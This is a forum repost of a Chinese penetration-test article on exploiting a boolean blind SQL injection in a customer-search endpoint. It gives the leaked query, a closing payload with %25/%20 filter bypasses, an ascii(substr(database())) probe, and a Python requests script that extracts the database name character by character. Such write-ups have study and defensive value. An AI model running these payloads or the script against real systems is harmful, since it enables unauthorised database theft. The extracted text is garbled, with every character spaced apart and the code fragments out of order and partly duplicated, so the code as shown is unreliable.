搜索

[15947] 2020-10-09_布尔型盲注的PY交易

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-10-09_布尔型盲注的PY交易 布 尔 型 盲 注 的 P Y 交 易 L o r e n 麟   F r e e B u f   2 0 2 0 - 1 0 - 0 9 经 过 上 一 篇 的 良 好 反 馈 ， 我 正 好 在 项 目 中 发 现 了 这 个 布 尔 型 漏 洞 ， 就 编 写 了 本 篇 文 章 ， 主 体 格 式 一 样 ， 但 内 容 针 对 不 同 ， 下 次 看 看 在 弄 个 什 么 的 P Y 交 易 好 ， 让 我 再 想 想 。 确 定 问 题 点 确 定 问 题 点 在 这 次 的 测 试 过 程 中 发 现 了 一 个 注 入 点 ， 通 过 测 试 发 现 返 回 包 内 包 含 了 s q l 语 句 ， 确 认 可 以 注 入 ， 开 始 了 这 次 的 注 入 尝 试 。 首 先 我 们 可 以 确 认 这 是 一 个 G E T 型 数 据 调 用 ， 本 以 为 是 简 单 的 报 错 注 入 ， 应 该 可 以 直 接 利 用 s q l m a p 进 行 漏 洞 的 利 用 ， 但 现 实 狠 狠 的 给 了 我 一 个 耳 光 。 s q l m a p 根 本 法 利 用 这 个 漏 洞 ， 但 返 回 的 数 据 包 中 实 打 实 出 现 我 数 据 库 语 句 ， 所 以 我 把 返 回 的 数 据 库 语 句 拿 出 来 ， 开 始 了 一 点 点 的 构 造 进 程 。 复 制 出 来 的 数 据 库 语 句 ： 二 、 测 试 命 令 语 句 二 、 测 试 命 令 语 句 经 过 实 验 ， 发 现 报 错 内 容 不 同 ， 可 说 明 与 参 数 确 实 可 以 影 响 数 据 库 语 句 。 但 返 回 的 内 容 需 要 进 行 闭 合 而 且 返 回 内 容 不 可 以 利 用 ， 所 以 可 以 排 除 报 错 等 类 型 注 入 形 式 ， 可 以 探 测 的 注 入 类 型 就 仅 剩 下 两 种 了 ： 时 间 型 盲 注 ， 布 尔 型 盲 注 直 接 在 目 标 后 加 入 测 试 语 句 。 构 造 数 据 库 语 句 ： % ’ ) { 测 试 语 句 测 试 语 句 } A N D ( c .   f u l l _ n a m e   l i k e   ‘ % t e s t 返 回 成 功 ， 实 现 语 句 闭 合 （ 此 外 利 用 了 数 据 库 模 糊 查 询 l i k e   % % ） , 在 测 试 过 程 中 发 现 存 在 过 滤 ， 单 独 % 无 法 通 过 ， 空 格 无 法 通 过 ， 系 统 会 返 回 4 0 4 ， 针 对 之 前 爆 出 的 数 据 库 语 句 ， 利 用 % 2 5 和 % 2 0 绕 过 对 对 单 独 % 和 空 格 的 过 滤 构 造 出 以 上 的 数 据 库 语 句 完 成 语 句 的 闭 合 ， 成 功 返 回 2 0 0 ， 确 认 可 以 返 回 正 常 数 据 包 ， 并 可 以 根 据 数 据 库 语 句 的 正 确 来 进 行 布 尔 型 盲 注 测 试 。 接 下 来 确 认 测 试 语 句 2 7 ) a n d % 0 a ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , { 1 } , 1 ) ) = { 0 } ) % 0 a A N D ( c . f u l l _ n a m e % 0 a l i k e % 0 a % 2 7 % 2 5 t e s t 按 位 截 取 的 形 式 进 行 匹 配 ， 确 认 数 据 库 名 称 三 、 工 具 思 路 三 、 工 具 思 路 3 . 1   P o s t 数 据 包 利 用 数 据 包 利 用 利 用 p y t h o n 的 数 据 包 发 送 来 批 量 测 试 目 标 内 容 和 时 间 型 盲 注 不 同 ， 布 尔 型 盲 注 要 根 据 返 回 数 据 包 的 不 同 来 确 认 问 题 % 0 a ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , { 1 } , 1 ) ) = { 0 } ) % 0 a 利 用 利 用 f i n d 函 数 来 查 找 返 回 的 数 据 特 征 ， 判 断 是 否 成 功 得 到 注 入 数 据 函 数 来 查 找 返 回 的 数 据 特 征 ， 判 断 是 否 成 功 得 到 注 入 数 据 S E L E C T   c o u n t ( 0 )   F R O M   c u s t o m e r   c   W H E R E   c . d e a l e r s h i p _ i d   =   ?   A N D   c . a c t i v e   =   t r u e   A N D   ( c . f u l l _ n a m e   L I K E   ' % 1 % ' )   A N D   1   I N   ( 1 ,   2 )   A N D   ( c . f u l l _ n a m e   L I K E   ' % t e s t % '   O R   c . p h o n e _ n u m b e r   L I K E #   c o d i n g : u t f - 8 i m p o r t   r e q u e s t s i m p o r t   d a t e t i m e i m p o r t   t i m e h e a d e r s   =   {         头 信 息 ， 自 己 添 加 } c h a r s   =   ' a b c d e f g h i g k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 @ _ . ' d a t a b a s e   =   ' ' f o r   j   i n   r a n g e ( 1 , 1 1 ) :         f o r   i   i n   r a n g e ( 4 9 , 1 2 5 ) :
四 、 以 后 的 想 法 四 、 以 后 的 想 法 对 于 代 码 的 未 来 ， 有 如 下 的 想 法 1 . 加 入 数 据 包 直 接 调 用 的 功 能 2 . 针 对 0 值 永 真 的 修 改 3 . 进 行 线 程 上 的 优 化 4 . 编 写 G E T 方 法 的 代 码 5 . 进 行 整 体 代 码 的 逻 辑 重 构 （ 这 个 是 吹 N B ） 精 彩 推 荐 精 彩 推 荐 阅 读 原 文         f o r   i   i n   r a n g e ( 4 9 , 1 2 5 ) :                 U r l   =   ' h t t p s : / / x x x x x x x x x x x x x x x x x x x x x x x x x x x x x / f i n d ? p a g e N o = 1 & p a g e S i z e = 2 0 & s e a r c h W o r d = 1 % 2 5 % 2 7 ) a n d % 0 a ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , { 1 } , 1 ) ) = { 0 } ) % 0 a A N D ( c . f u l l _ n a m e % 0 a l i k e % 0 a % 2 7 % 2 5 t e s t '                 U r l F o r m a t   =   U r l . f o r m a t ( i , j )             # f o r m a t （ ） 函 数 使 用                 r   =   r e q u e s t s . g e t ( U r l F o r m a t , h e a d e r s = h e a d e r s )                 d   =   r . c o n t e n t . f i n d ( " T e s t " )               # 利 用 f i n d 函 数 来 查 找 返 回 的 数 据 特 征 ， 判 断 是 否 成 功 得 到 注 入 数 据                 i f   d   ! =   - 1 :                         p r i n t ( i )                         p r i n t   c h r ( i )                         d a t a b a s e   + =   c h r ( i )                         p r i n t   d a t a b a s e                         b r e a k                 e l s e :                         p a s s
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理